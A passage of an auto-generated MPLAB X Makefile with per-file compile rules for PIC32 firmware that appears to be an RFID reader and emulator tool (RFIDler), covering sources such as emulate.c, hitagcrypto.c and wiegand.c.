-I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/1019771169/SCpic32.o.d\" -o ${OBJECTDIR}/_ext/1019771169/SCpic32.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\"     \n\t\n${OBJECTDIR}/_ext/631258897/usb_function_cdc.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC\\ Device\\ Driver/usb_function_cdc.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/631258897\" \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d \n\t@${RM} ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/631258897/usb_function_cdc.o.d\" -o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\"     \n\t\n${OBJECTDIR}/_ext/186742988/usb_device.o: /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/_ext/186742988\" \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o.d \n\t@${RM} ${OBJECTDIR}/_ext/186742988/usb_device.o \n\t@${FIXDEPS} \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c     \n\t\n${OBJECTDIR}/src/indala.o: src/indala.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/indala.o.d \n\t@${RM} ${OBJECTDIR}/src/indala.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/indala.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/indala.o.d\" -o ${OBJECTDIR}/src/indala.o src/indala.c     \n\t\n${OBJECTDIR}/src/main.o: src/main.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/main.o.d \n\t@${RM} ${OBJECTDIR}/src/main.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/main.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/main.o.d\" -o ${OBJECTDIR}/src/main.o src/main.c     \n\t\n${OBJECTDIR}/src/psk.o: src/psk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/psk.o.d \n\t@${RM} ${OBJECTDIR}/src/psk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/psk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/psk.o.d\" -o ${OBJECTDIR}/src/psk.o src/psk.c     \n\t\n${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/usb_descriptors.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/usb_descriptors.o.d\" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c     \n\t\n${OBJECTDIR}/src/util.o: src/util.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/util.o.d \n\t@${RM} ${OBJECTDIR}/src/util.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/util.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/util.o.d\" -o ${OBJECTDIR}/src/util.o src/util.c     \n\t\n${OBJECTDIR}/src/emulate.o: src/emulate.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/emulate.o.d \n\t@${RM} ${OBJECTDIR}/src/emulate.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/emulate.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/emulate.o.d\" -o ${OBJECTDIR}/src/emulate.o src/emulate.c     \n\t\n${OBJECTDIR}/src/ask.o: src/ask.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/ask.o.d \n\t@${RM} ${OBJECTDIR}/src/ask.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/ask.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/ask.o.d\" -o ${OBJECTDIR}/src/ask.o src/ask.c     \n\t\n${OBJECTDIR}/src/fsk.o: src/fsk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fsk.o.d \n\t@${RM} ${OBJECTDIR}/src/fsk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fsk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fsk.o.d\" -o ${OBJECTDIR}/src/fsk.o src/fsk.c     \n\t\n${OBJECTDIR}/src/clock.o: src/clock.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/clock.o.d \n\t@${RM} ${OBJECTDIR}/src/clock.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/clock.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/clock.o.d\" -o ${OBJECTDIR}/src/clock.o src/clock.c     \n\t\n${OBJECTDIR}/src/rwd.o: src/rwd.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/rwd.o.d \n\t@${RM} ${OBJECTDIR}/src/rwd.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/rwd.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/rwd.o.d\" -o ${OBJECTDIR}/src/rwd.o src/rwd.c     \n\t\n${OBJECTDIR}/src/detect.o: src/detect.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/detect.o.d \n\t@${RM} ${OBJECTDIR}/src/detect.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/detect.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/detect.o.d\" -o ${OBJECTDIR}/src/detect.o src/detect.c     \n\t\n${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitagcrypto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitagcrypto.o.d\" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c     \n\t\n${OBJECTDIR}/src/wiegand.o: src/wiegand.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/wiegand.o.d \n\t@${RM} ${OBJECTDIR}/src/wiegand.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/wiegand.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/wiegand.o.d\" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c     \n\t\n${OBJECTDIR}/src/comms.o: src/comms.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/comms.o.d \n\t@${RM} ${OBJECTDIR}/src/comms.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/comms.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/comms.o.d\" -o ${OBJECTDIR}/src/comms.o src/comms.c     \n\t\n${OBJECTDIR}/src/nvm.o: src/nvm.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/nvm.o.d \n\t@${RM} ${OBJECTDIR}/src/nvm.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/nvm.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/nvm.o.d\" -o ${OBJECTDIR}/src/nvm.o src/nvm.c     \n\t\n${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o.d \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/mcp414x.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/mcp414x.o.d\" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c     \n\t\n${OBJECTDIR}/src/spi.o: src/spi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/spi.o.d \n\t@${RM} ${OBJECTDIR}/src/spi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/spi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/spi.o.d\" -o ${OBJECTDIR}/src/spi.o src/spi.c     \n\t\n${OBJECTDIR}/src/uart3.o: src/uart3.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uart3.o.d \n\t@${RM} ${OBJECTDIR}/src/uart3.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uart3.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uart3.o.d\" -o ${OBJECTDIR}/src/uart3.o src/uart3.c     \n\t\n${OBJECTDIR}/src/tags.o: src/tags.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tags.o.d \n\t@${RM} ${OBJECTDIR}/src/tags.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tags.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tags.o.d\" -o ${OBJECTDIR}/src/tags.o src/tags.c     \n\t\n${OBJECTDIR}/src/unique.o: src/unique.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/unique.o.d \n\t@${RM} ${OBJECTDIR}/src/unique.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/unique.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/unique.o.d\" -o ${OBJECTDIR}/src/unique.o src/unique.c     \n\t\n${OBJECTDIR}/src/led.o: src/led.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/led.o.d \n\t@${RM} ${OBJECTDIR}/src/led.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/led.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/led.o.d\" -o ${OBJECTDIR}/src/led.o src/led.c     \n\t\n${OBJECTDIR}/src/em.o: src/em.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/em.o.d \n\t@${RM} ${OBJECTDIR}/src/em.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/em.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/em.o.d\" -o ${OBJECTDIR}/src/em.o src/em.c     \n\t\n${OBJECTDIR}/src/hid.o: src/hid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hid.o.d \n\t@${RM} ${OBJECTDIR}/src/hid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hid.o.d\" -o ${OBJECTDIR}/src/hid.o src/hid.c     \n\t\n${OBJECTDIR}/src/read.o: src/read.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/read.o.d \n\t@${RM} ${OBJECTDIR}/src/read.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/read.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/read.o.d\" -o ${OBJECTDIR}/src/read.o src/read.c     \n\t\n${OBJECTDIR}/src/isr.o: src/isr.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/isr.o.d \n\t@${RM} ${OBJECTDIR}/src/isr.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/isr.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/isr.o.d\" -o ${OBJECTDIR}/src/isr.o src/isr.c     \n\t\n${OBJECTDIR}/src/auto.o: src/auto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auto.o.d \n\t@${RM} ${OBJECTDIR}/src/auto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../ 